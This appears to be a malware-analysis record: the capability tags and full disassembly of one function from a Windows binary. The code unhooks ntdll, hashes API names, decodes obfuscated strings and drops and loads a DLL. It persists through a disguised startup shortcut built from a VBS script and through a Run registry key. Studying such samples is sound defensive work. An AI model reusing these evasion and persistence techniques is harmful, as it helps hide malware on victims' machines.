Function at 0x140002c4d
Capabilities:
Check if file exists
Get common file path
Get file attributes
Get startup folder
Persist via lnk shortcut
Persist via run registry key
Query environment variable
Terminate process
Write file on windows
Write file to startup folder

Disassembly:
push rbp
mov eax, 0x82950
call fcn.1400059c0
sub rsp, rax
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x828e0], ecx
mov qword [rbp + 0x828e8], rdx
call dbg.__main
call sym.IatCamouflage__
lea rax, str.KERNEL32.DLL
mov rcx, rax
call sym.HashStringJenkinsOneAtATime32BitA_char_
mov r8d, eax
lea rax, str.KERNEL32.DLL
mov rdx, rax
lea rax, str._i__Hash_Of___s__Is_:_0x_0.8X__t_n
mov rcx, rax
call sym.printf_char_const__::_
lea rax, str.WriteFile
mov rcx, rax
call sym.HashStringJenkinsOneAtATime32BitA_char_
mov r8d, eax
lea rax, str.WriteFile
mov rdx, rax
lea rax, str._i__Hash_of___s__Is_:_0x_0.8X______n
mov rcx, rax
call sym.printf_char_const__::_
lea rax, [0x14000d22c]
mov rcx, rax
call sym.printf_char_const__::_
lea rax, str.___Press__Enter__To_Continue_..._n_n
mov rcx, rax
call sym.printf_char_const__::_
call sym.getchar
call sym.initi_hashing__
mov ecx, 1
call sym.sub_0x0724edif_int_
test eax, eax
setne al
test al, al
je 0x140002d19
mov ecx, 1
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
lea rax, str.UtilisatNT
mov qword [rbp + 0x828b8], rax
movabs rax, 0x555e54534d660059
movabs rdx, 0x5f4e49434966494d
mov qword [rbp + 0x826f0], rax
mov qword [rbp + 0x826f8], rdx
movabs rax, 0x4e54660809575f4e
movabs rdx, 0x3a56565e1456565e
mov qword [rbp + 0x826fe], rax
mov qword [rbp + 0x82706], rdx
mov dword [rbp + 0x828b4], 0x1e
mov dword [rbp + 0x828b0], 0xa
mov dword [rbp + 0x828ac], 0
mov eax, dword [rbp + 0x828b4]
sub eax, 1
mov eax, eax
movzx eax, byte [rbp + rax + 0x826f0]
movsx ecx, al
mov edx, dword [rbp + 0x828b4]
lea rax, [rbp + 0x826f0]
mov r8d, ecx
mov rcx, rax
call sym.__0x0034fed_char__unsigned_long_long__char_
lea rax, [rbp + 0x826f0]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x828a0], rax
cmp qword [rbp + 0x828a0], 0xffffffffffffffff
jne 0x140002e0f
mov eax, 0xffffffff
jmp 0x140003bfa
mov r10, qword [0x14004b518]
mov rax, qword [rbp + 0x828a0]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
call r10
mov qword [rbp + 0x82898], rax
cmp qword [rbp + 0x82898], 0
jne 0x140002e73
mov rdx, qword [0x14004b4c0]
mov rax, qword [rbp + 0x828a0]
mov rcx, rax
call rdx
mov eax, 0xffffffff
jmp 0x140003bfa
mov r10, qword [0x14004b520]
mov rax, qword [rbp + 0x82898]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
call r10
mov qword [rbp + 0x82890], rax
cmp qword [rbp + 0x82890], 0
jne 0x140002ee2
mov rdx, qword [0x14004b4c0]
mov rax, qword [rbp + 0x82898]
mov rcx, rax
call rdx
mov rdx, qword [0x14004b4c0]
mov rax, qword [rbp + 0x828a0]
mov rcx, rax
call rdx
mov eax, 0xffffffff
jmp 0x140003bfa
lea rax, section..data
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
mov rax, qword [rbp + 0x82890]
mov rdx, rax
call sym.UnhookNtdll_HINSTANCE____void_
mov dword [rbp + 0x828ac], eax
mov rdx, qword [0x14004b528]
mov rax, qword [rbp + 0x82890]
mov rcx, rax
call rdx
mov rdx, qword [0x14004b4c0]
mov rax, qword [rbp + 0x82898]
mov rcx, rax
call rdx
mov rdx, qword [0x14004b4c0]
mov rax, qword [rbp + 0x828a0]
mov rcx, rax
call rdx
call sym._is_reg_there__
mov dword [rbp + 0x8288c], eax
cmp dword [rbp + 0x8288c], 0
jne 0x140003af5
nop
lea rax, [rbp + 0x40]
mov qword [rsp + 0x20], rax
mov r9d, 0
mov r8d, 0
mov edx, 0x1c
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
call rax
lea rdx, [rbp + 0x40]
lea rax, [rbp + 0x150]
mov r8, rdx
lea rdx, str._sMicrosoft
mov rcx, rax
call sym.sprintf_char__char_const__::_
lea rax, [rbp + 0x150]
mov r8, rax
lea rax, [0x14000d0b2]
mov rdx, rax
lea rax, [0x14004b3a0]
mov rcx, rax
call sym.sprintf_char__char_const__::_
lea rax, [0x14004b040]
mov rcx, rax
call sym.is_string_empty_char_const_
test eax, eax
setne al
test al, al
je 0x140003002
mov rax, qword [rbp + 0x828b8]
mov r8, rax
lea rax, [0x140047c9f]
mov rdx, rax
lea rax, [0x14004b040]
mov rcx, rax
call sym.sprintf_char__char_const__::_
lea rdx, [rbp + 0x150]
lea rax, [rbp + 0x260]
lea r9, [0x14004b040]
mov r8, rdx
lea rdx, str._s_s
mov rcx, rax
call sym.sprintf_char__char_const__::_
mov dword [rbp + 0x828cc], 0
mov dword [rbp + 0x828c8], 0
jmp 0x1400030be
mov eax, dword [rbp + 0x828cc]
cdqe
movzx eax, byte [rbp + rax + 0x260]
cmp al, 0x20
je 0x1400030b7
mov eax, dword [rbp + 0x828cc]
cdqe
movzx eax, byte [rbp + rax + 0x260]
cmp al, 9
je 0x1400030b7
mov eax, dword [rbp + 0x828cc]
cdqe
movzx eax, byte [rbp + rax + 0x260]
cmp al, 0xa
je 0x1400030b7
mov eax, dword [rbp + 0x828cc]
cdqe
movzx eax, byte [rbp + rax + 0x260]
cmp al, 0xd
je 0x1400030b7
mov eax, dword [rbp + 0x828cc]
cdqe
movzx edx, byte [rbp + rax + 0x260]
mov eax, dword [rbp + 0x828c8]
lea ecx, [rax + 1]
mov dword [rbp + 0x828c8], ecx
cdqe
mov byte [rbp + rax + 0x260], dl
add dword [rbp + 0x828cc], 1
mov eax, dword [rbp + 0x828cc]
cdqe
movzx eax, byte [rbp + rax + 0x260]
test al, al
jne 0x14000303f
mov eax, dword [rbp + 0x828c8]
cdqe
mov byte [rbp + rax + 0x260], 0
lea rax, [rbp + 0x260]
mov rcx, rax
call sym.config_init_char_
lea rax, [0x14000d22c]
mov rcx, rax
call sym.printf_char_const__::_
lea rax, [rbp + 0x260]
mov rdx, rax
lea rax, str.__exist_:__s_n
mov rcx, rax
call sym.printf_char_const__::_
lea rax, [0x14000d22c]
mov rcx, rax
call sym.printf_char_const__::_
mov ecx, 0
call sym.time
mov qword [rbp + 0x826e8], rax
lea rax, [rbp + 0x826e8]
mov rcx, rax
call sym.localtime
mov qword [rbp + 0x82878], rax
mov rax, qword [rbp + 0x82878]
mov eax, dword [rax + 0x18]
mov dword [rbp + 0x82874], eax
cmp dword [rbp + 0x82874], 0
je 0x1400031a0
cmp dword [rbp + 0x82874], 1
je 0x1400031a0
cmp dword [rbp + 0x82874], 6
je 0x1400031a0
cmp dword [rbp + 0x82874], 2
je 0x1400031a0
lea rax, str._t__Today_is_not_My_Mood_._Exiting..._n
mov rcx, rax
call sym.printf_char_const__::_
mov ecx, 1
call sym.exit
lea rax, [0x140047cde]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call rax
cmp eax, 0xffffffff
jne 0x1400031cd
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
cmp eax, 2
jne 0x1400031cd
mov eax, 1
jmp 0x1400031d2
mov eax, 0
test al, al
je 0x140003291
nop
jmp 0x1400031de
nop
mov rax, qword [0x14004b4d8]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 2
mov r9d, 0
mov r8d, 0
mov edx, 0x40000000
lea rcx, str.SdfxiWID.dll
call rax
mov qword [rbp + 0x82860], rax
cmp qword [rbp + 0x82860], 0xffffffffffffffff
jne 0x140003238
lea rax, str.____Error_Unable_to_Create_File_..._n
mov rcx, rax
call sym.printf_char_const__::_
nop
lea rax, str.___File_Write_Successfully_..._n
mov rcx, rax
call sym.printf_char_const__::_
mov r10, qword [0x14004b4c8]
lea rdx, [rbp + 0x826e0]
mov rax, qword [rbp + 0x82860]
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0x3a626
lea rdx, [0x14000d580]
mov rcx, rax
call r10
mov rdx, qword [0x14004b4c0]
mov rax, qword [rbp + 0x82860]
mov rcx, rax
call rdx
jmp 0x14000330a
mov r8, qword [0x14004b5a0]
lea rax, [rbp + 0x416a0]
mov rdx, rax
lea rax, [0x140047cde]
mov rcx, rax
call r8
mov qword [rbp + 0x82868], rax
cmp qword [rbp + 0x82868], 0xffffffffffffffff
jne 0x1400032cf
lea rax, str.Error_opening_the_file._n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, dword [rbp + 0x416c0]
mov dword [rbp + 0x826d8], eax
mov eax, dword [rbp + 0x416bc]
mov dword [rbp + 0x826dc], eax
mov rax, qword [rbp + 0x82868]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FindClose]
call rax
mov rax, qword [rbp + 0x826d8]
test rax, rax
je 0x1400031dd
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.Sleep
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x82858], rax
mov rax, qword [rbp + 0x82858]
mov ecx, 0x4e20
call rax
mov rax, qword [rbp + 0x828b8]
mov rcx, rax
call sym.__createFUDtr_char_const_
lea rax, str.SdfxiWID.dll
mov rcx, rax
call sym.MyLoadLibrary_wchar_t_const_
mov qword [rbp + 0x82850], rax
cmp qword [rbp + 0x82850], 0
je 0x1400033c0
mov rax, qword [rbp + 0x82850]
lea rdx, str.__intimatth
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x82848], rax
cmp qword [rbp + 0x82848], 0
je 0x1400033ab
mov rax, qword [rbp + 0x82848]
call rax
mov rax, qword [rbp + 0x82850]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FreeLibrary]
call rax
jmp 0x1400033cf
lea rax, str.____Failed_to_load_library_:__n
mov rcx, rax
call sym.printf_char_const__::_
lea rax, [rbp + 0x370]
mov qword [rsp + 0x20], rax
mov r9d, 0
mov r8d, 0
mov edx, 7
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
call rax
mov byte [rbp + 0x826e7], 0
lea rdx, [rbp + 0x370]
lea rax, [rbp + 0x826e7]
mov r8, rdx
lea rdx, str._siOffice.lnk
mov rcx, rax
call sym.sprintf_char__char_const__::_
lea rax, [rbp + 0x826e7]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call rax
cmp eax, 0xffffffff
je 0x14000344e
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
cmp eax, 2
je 0x14000344e
mov eax, 1
jmp 0x140003453
mov eax, 0
test al, al
je 0x140003461
mov eax, 0
jmp 0x140003bfa
lea rax, str.APPDATA
mov rcx, rax
call sym.getenv
mov qword [rbp + 0x82840], rax
mov ecx, 0
call sym.time
mov ecx, eax
call sym.srand
movabs rax, 0x7878787878746357
mov qword [rbp + 0x826ca], rax
movabs rax, 0x7461622e747878
mov qword [rbp + 0x826d0], rax
lea rax, [rbp + 0x826ca]
mov rcx, rax
call sym.strlen
mov dword [rbp + 0x8283c], eax
mov dword [rbp + 0x828c4], 0
jmp 0x140003509
mov eax, dword [rbp + 0x828c4]
cdqe
movzx eax, byte [rbp + rax + 0x826ca]
cmp al, 0x78
jne 0x140003502
mov edx, 9
mov ecx, 0
call sym.getRandomNumber_int__int_
add eax, 0x30
mov edx, eax
mov eax, dword [rbp + 0x828c4]
cdqe
mov byte [rbp + rax + 0x826ca], dl
add dword [rbp + 0x828c4], 1
mov eax, dword [rbp + 0x828c4]
cmp eax, dword [rbp + 0x8283c]
jl 0x1400034cb
lea rcx, [rbp + 0x826ca]
mov rdx, qword [rbp + 0x82840]
lea rax, [rbp + 0x480]
mov r9, rcx
mov r8, rdx
lea rdx, str._s_s
mov rcx, rax
call sym.sprintf_char__char_const__::_
lea rax, [rbp + 0x480]
mov rdx, rax
lea rax, str._n_t___s_n
mov rcx, rax
call sym.printf_char_const__::_
lea rax, [rbp + 0x480]
mov rdx, rax
lea rax, [0x14004b280]
mov rcx, rax
call sym.strcpy
lea rax, [rbp + 0x480]
lea rdx, [0x140047dce]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0x82830], rax
lea rax, [rbp + 0x416a0]
lea rdx, str._echo_off_r_n
mov rcx, rax
call sym.sprintf_char__char_const__::_
lea rax, [rbp + 0x416a0]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x416a0]
add rax, rdx
mov word [rax], 0xa0d
mov byte [rax + 2], 0
lea rax, [rbp + 0x6a0]
lea rdx, [0x14000d101]
mov rcx, rax
call sym.sprintf_char__char_const__::_
lea rax, [rbp + 0x416a0]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x416a0]
add rax, rdx
mov word [rax], 0xa0d
mov byte [rax + 2], 0
lea rax, [rbp + 0x6a0]
lea rdx, [0x14000d101]
mov rcx, rax
call sym.sprintf_char__char_const__::_
lea rax, [rbp + 0x416a0]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x416a0]
add rax, rdx
mov word [rax], 0xa0d
mov byte [rax + 2], 0
lea rax, [rbp + 0x6a0]
lea rdx, [0x14000d101]
mov rcx, rax
call sym.sprintf_char__char_const__::_
lea rax, [rbp + 0x416a0]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x416a0]
add rax, rdx
mov word [rax], 0xa0d
mov byte [rax + 2], 0
lea rax, [rbp + 0x6a0]
lea rdx, [0x14000d101]
mov rcx, rax
call sym.sprintf_char__char_const__::_
lea rax, [rbp + 0x416a0]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x416a0]
add rax, rdx
mov word [rax], 0xa0d
mov byte [rax + 2], 0
lea rax, [rbp + 0x6a0]
lea rdx, [0x14000d101]
mov rcx, rax
call sym.sprintf_char__char_const__::_
lea rax, [rbp + 0x416a0]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x416a0]
add rax, rdx
mov word [rax], 0xa0d
mov byte [rax + 2], 0
lea rax, [rbp + 0x6a0]
lea rdx, [0x14000d101]
mov rcx, rax
call sym.sprintf_char__char_const__::_
lea rax, [rbp + 0x416a0]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x416a0]
add rax, rdx
mov word [rax], 0xa0d
mov byte [rax + 2], 0
lea rax, [rbp + 0x6a0]
lea rdx, [0x14000d101]
mov rcx, rax
call sym.sprintf_char__char_const__::_
lea rax, [rbp + 0x416a0]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x416a0]
add rax, rdx
mov word [rax], 0xa0d
mov byte [rax + 2], 0
lea rax, [rbp + 0x6a0]
lea rdx, [0x14000d101]
mov rcx, rax
call sym.sprintf_char__char_const__::_
lea rax, [rbp + 0x416a0]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x416a0]
add rax, rdx
mov word [rax], 0xa0d
mov byte [rax + 2], 0
lea rax, [rbp + 0x6a0]
lea rdx, [0x14000d101]
mov rcx, rax
call sym.sprintf_char__char_const__::_
lea rax, [rbp + 0x416a0]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x416a0]
add rax, rdx
mov word [rax], 0xa0d
mov byte [rax + 2], 0
lea rax, [rbp + 0x6a0]
lea rdx, [0x14000d101]
mov rcx, rax
call sym.sprintf_char__char_const__::_
lea rax, [rbp + 0x416a0]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x416a0]
add rax, rdx
mov word [rax], 0xa0d
mov byte [rax + 2], 0
lea rax, [rbp + 0x6a0]
lea rdx, [0x14000d101]
mov rcx, rax
call sym.sprintf_char__char_const__::_
lea rax, [rbp + 0x416a0]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x416a0]
add rax, rdx
mov word [rax], 0xa0d
mov byte [rax + 2], 0
lea rax, [rbp + 0x6a0]
lea rdx, [0x14000d101]
mov rcx, rax
call sym.sprintf_char__char_const__::_
lea rax, [rbp + 0x416a0]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x416a0]
add rax, rdx
mov word [rax], 0xa0d
mov byte [rax + 2], 0
lea rax, [rbp + 0x6a0]
lea rdx, [0x14000d101]
mov rcx, rax
call sym.sprintf_char__char_const__::_
lea rax, [rbp + 0x416a0]
mov rcx, rax
call sym.strlen
mov rdx, rax
lea rax, [rbp + 0x416a0]
add rax, rdx
mov word [rax], 0xa0d
mov byte [rax + 2], 0
mov rax, qword [rbp + 0x828e8]
mov rcx, qword [rax]
lea rdx, [rbp + 0x826e7]
lea rax, [rbp + 0x6a0]
mov r9, rcx
mov r8, rdx
lea rdx, str.echo_Set_objShell__CreateObject__WS__CrI__p__T.S__h__E__L__l_____embryo.vbs_necho_Set_objShortcut__objShell.CreateShortcut___s______embryo.vbs_necho_objShortcut.WindowStyle__7____embryo.vbs_necho_objShortcut.TargetPath____windir__system32cmd.exe_____embryo.vbs_necho_objShortcut.IconLocation___C:Program_Files__x86_Windows_NTAccessoriesWordPad.exe_____embryo.vbs_necho_objShortcut.Arguments____c__s_____embryo.vbs_necho_objShortcut.Save____embryo.vbs_ncscript_embryo.vbs_ndel_embryo.vbs
mov rcx, rax
call sym.sprintf_char__char_const__::_
lea rdx, [rbp + 0x6a0]
lea rax, [rbp + 0x416a0]
mov rcx, rax
call sym.strcat
lea rax, [rbp + 0x416a0]
mov rcx, rax
call sym.strlen
mov rdx, rax
mov rcx, qword [rbp + 0x82830]
lea rax, [rbp + 0x416a0]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fwrite
mov rax, qword [rbp + 0x82830]
mov rcx, rax
call sym.fclose
lea rax, str.___Content_Wrote_to_file_successfully._n
mov rcx, rax
call sym.printf_char_const__::_
lea rax, [rbp - 0x30]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp - 0x30], 0x68
lea rax, [rbp + 0x826b0]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0xc], 0x101
mov word [rbp + 0x10], 0
lea rax, [rbp + 0x590]
lea r8, [0x14004b280]
lea rdx, str.cmd__c__s
mov rcx, rax
call sym.sprintf_char__char_const__::_
mov r10, qword [0x14004b5c0]
lea rax, [rbp + 0x590]
lea rdx, [rbp + 0x826b0]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
call r10
mov rax, qword [rbp + 0x826b0]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rdx, qword [0x14004b4c0]
mov rax, qword [rbp + 0x826b0]
mov rcx, rax
call rdx
mov rdx, qword [0x14004b4c0]
mov rax, qword [rbp + 0x826b8]
mov rcx, rax
call rdx
lea rax, [0x14004b280]
mov rcx, rax
call sym.ConvertToLPCWSTR_char_const_
mov qword [rbp + 0x82828], rax
mov r10, qword [0x14004b4d8]
mov rax, qword [rbp + 0x82828]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x4000000
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 0
mov edx, 0xc0000000
mov rcx, rax
call r10
mov qword [rbp + 0x82820], rax
cmp qword [rbp + 0x82820], 0xffffffffffffffff
je 0x140003aeb
lea rax, str.___File_Deleted_with_Content_Sucessfully_..._n
mov rcx, rax
call sym.printf_char_const__::_
mov rdx, qword [0x14004b4c0]
mov rax, qword [rbp + 0x82820]
mov rcx, rax
call rdx
mov eax, 0
jmp 0x140003bfa
mov eax, 0
jmp 0x140003bfa
mov dword [rbp + 0x82888], 0
lea rax, [rbp + 0x416a0]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
mov dword [rbp + 0x82888], eax
cmp dword [rbp + 0x82888], 0
jne 0x140003b36
mov eax, 0xffffffff
jmp 0x140003bfa
mov rax, qword [0x14004b548]
lea rdx, [rbp + 0x826a8]
mov r8, rdx
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call rax
test eax, eax
setne al
test al, al
je 0x140003b6a
mov eax, 0xffffffff
jmp 0x140003bfa
lea rax, [rbp + 0x416a0]
mov rcx, rax
call sym.strlen
add eax, 1
mov dword [rbp + 0x82884], eax
mov r10, qword [0x14004b550]
mov rax, qword [rbp + 0x826a8]
mov edx, dword [rbp + 0x82884]
mov dword [rsp + 0x28], edx
lea rdx, [rbp + 0x416a0]
mov qword [rsp + 0x20], rdx
mov r9d, 1
mov r8d, 0
lea rdx, str.secroot
mov rcx, rax
call r10
test eax, eax
setne al
test al, al
je 0x140003be2
mov rdx, qword [0x14004b558]
mov rax, qword [rbp + 0x826a8]
mov rcx, rax
call rdx
mov eax, 0xffffffff
jmp 0x140003bfa
mov rdx, qword [0x14004b558]
mov rax, qword [rbp + 0x826a8]
mov rcx, rax
call rdx
jmp 0x140002f5f
add rsp, 0x82950
pop rbp
ret